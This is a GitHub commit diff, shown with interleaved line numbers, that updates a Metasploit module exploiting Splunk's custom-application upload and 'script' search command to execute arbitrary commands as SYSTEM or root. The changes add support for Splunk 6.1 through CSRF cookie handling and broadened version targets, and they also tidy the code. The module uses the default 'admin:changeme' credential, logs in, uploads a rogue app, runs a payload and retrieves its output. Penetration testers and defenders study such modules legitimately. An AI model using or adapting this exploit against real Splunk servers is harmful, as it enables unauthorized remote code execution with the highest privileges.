You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
'This module exploits a feature of Splunk whereby a custom application can be
19
+
uploaded through the web based interface. Through the \'script\' search command a
19
20
user can call commands defined in their custom application which includes arbitrary
20
21
perl or python code. To abuse this behavior, a valid Splunk user with the admin
21
22
role is required. By default, this module uses the credential of "admin:changeme",
22
23
the default Administrator credential for Splunk. Note that the Splunk web interface
23
-
runs as SYSTEM on Windows, or as root on Linux by default. This module has only
24
-
been tested successfully against Splunk 5.0.
25
-
},
24
+
runs as SYSTEM on Windows, or as root on Linux by default. This module has been
25
+
tested successfully against Splunk 5.0, 6.1, and 6.1.1.',
26
26
'Author'=>
27
27
[
28
28
"marcwickenden",# discovery and metasploit module
29
29
"sinn3r",# metasploit module
30
-
"juan vazquez"# metasploit module
30
+
"juan vazquez",# metasploit module
31
+
"Gary Blosser"# metasploit module updates for Splunk 6.1
31
32
],
32
33
'License'=>MSF_LICENSE,
33
34
'References'=>
@@ -41,16 +42,16 @@ def initialize(info = {})
41
42
'Space'=>1024,
42
43
'DisableNops'=>true
43
44
},
44
-
'Platform'=>%w{linuxunixwin},
45
+
'Platform'=>%w(linuxunixwin),
45
46
'Targets'=>
46
47
[
47
-
['Splunk 5.0.1 / Linux',
48
+
['Splunk >= 5.0.1 / Linux',
48
49
{
49
50
'Arch'=>ARCH_CMD,
50
-
'Platform'=>%w{linuxunix}
51
+
'Platform'=>%w(linuxunix)
51
52
}
52
53
],
53
-
['Splunk 5.0.1 / Windows',
54
+
['Splunk >= 5.0.1 / Windows',
54
55
{
55
56
'Arch'=>ARCH_CMD,
56
57
'Platform'=>'win'
@@ -62,9 +63,10 @@ def initialize(info = {})
62
63
register_options(
63
64
[
64
65
Opt::RPORT(8000),
65
-
OptString.new('USERNAME',[true,'The username with admin role to authenticate as','admin']),
66
-
OptString.new('PASSWORD',[true,'The password for the specified username','changeme']),
67
-
OptPath.new('SPLUNK_APP_FILE',
66
+
OptString.new('USERNAME',[true,'The username with admin role to authenticate as','admin']),
67
+
OptString.new('PASSWORD',[true,'The password for the specified username','changeme']),
68
+
OptPath.new(
69
+
'SPLUNK_APP_FILE',
68
70
[
69
71
true,
70
72
'The "rogue" Splunk application tgz',
@@ -96,6 +98,7 @@ def exploit
96
98
# set up some variables for later use
97
99
@auth_cookies=''
98
100
@csrf_form_key=''
101
+
@csrf_form_port="splunkweb_csrf_token_#{rport}"# Default to using rport, corrected during tokenization for v6 below.
99
102
app_name='upload_app_exec'
100
103
p=payload.encoded
101
104
print_status("Using command: #{p}")
@@ -118,14 +121,13 @@ def exploit
118
121
# call our command execution function with the Splunk 'script' command
119
122
print_status("Invoking script command")
120
123
res=send_request_cgi(
121
-
{
122
124
'uri'=>'/en-US/api/search/jobs',
123
125
'method'=>'POST',
124
-
'cookie'=>@auth_cookies,
126
+
'cookie'=>"#{@auth_cookies}; #{@csrf_form_port}=#{@csrf_form_key}",# Version 6 uses cookies and not just headers, extra cookies should be ignored by Splunk 5 (unverified)
125
127
'headers'=>
126
128
{
127
129
'X-Requested-With'=>'XMLHttpRequest',
128
-
'X-Splunk-Form-Key'=>@csrf_form_key
130
+
'X-Splunk-Form-Key'=>@csrf_form_key# Version 6 ignores extra headers (verified)
129
131
},
130
132
'vars_post'=>
131
133
{
@@ -142,24 +144,24 @@ def exploit
142
144
'latest_time'=>"",
143
145
'timeFormat'=>"%s.%Q"
144
146
}
145
-
})
147
+
)
146
148
147
149
ifreturn_output
148
150
res.body.match(/data":\ "([0-9.]+)"/)
149
-
job_id=$1
151
+
job_id=Regexp.last_match(1)
150
152
151
153
# wait a short time to let the output be produced
152
154
print_status("Waiting for #{command_output_delay} seconds to retrieve command output")
153
-
select(nil,nil,nil,command_output_delay)
155
+
select(nil,nil,nil,command_output_delay)
154
156
job_output=fetch_job_output(job_id)
155
157
ifjob_output.body.match(/Waiting for data.../)
156
158
print_status("No output returned in time")
157
-
elsese
159
+
else
158
160
output=""
159
161
job_output.body.each_linedo |line|
160
162
# strip off the leading and trailing " added by Splunk
161
-
line.gsub!(/^"/,"")
162
-
line.gsub!(/"$/,"")
163
+
line.gsub!(/^"/,"")
164
+
line.gsub!(/"$/,"")
163
165
output << line
164
166
end
165
167
@@ -181,7 +183,7 @@ def check
181
183
'method'=>'GET'
182
184
},25)
183
185
184
-
ifresandres.body =~ /Splunk Inc\. Splunk/
186
+
ifres&&res.body =~ /Splunk Inc\. Splunk/
185
187
returnExploit::CheckCode::Detected
186
188
else
187
189
returnExploit::CheckCode::Safe
@@ -192,18 +194,17 @@ def do_login
192
194
print_status("Authenticating...")
193
195
# this method borrowed with thanks from splunk_mappy_exec.rb
194
196
res=send_request_cgi(
195
-
{
196
197
'uri'=>'/en-US/account/login',
197
198
'method'=>'GET'
198
-
})
199
+
)
199
200
200
201
cval=''
201
202
uid=''
202
203
session_id_port=
203
204
session_id=''
204
-
ifresandres.code == 200
205
-
res.get_cookies.split(';').each{|c|
206
-
c.split(',').each{|v|
205
+
ifres&&res.code == 200
206
+
res.get_cookies.split(';').eachdo|c|
207
+
c.split(',').eachdo|v|
207
208
ifv.split('=')[0] =~ /cval/
208
209
cval=v.split('=')[1]
209
210
elsifv.split('=')[0] =~ /uid/
@@ -212,14 +213,13 @@ def do_login
212
213
session_id_port=v.split('=')[0]
213
214
session_id=v.split('=')[1]
214
215
end
215
-
}
216
-
}
216
+
end
217
+
end
217
218
else
218
219
fail_with(Failure::NotFound,"Unable to get session cookies")
0 commit comments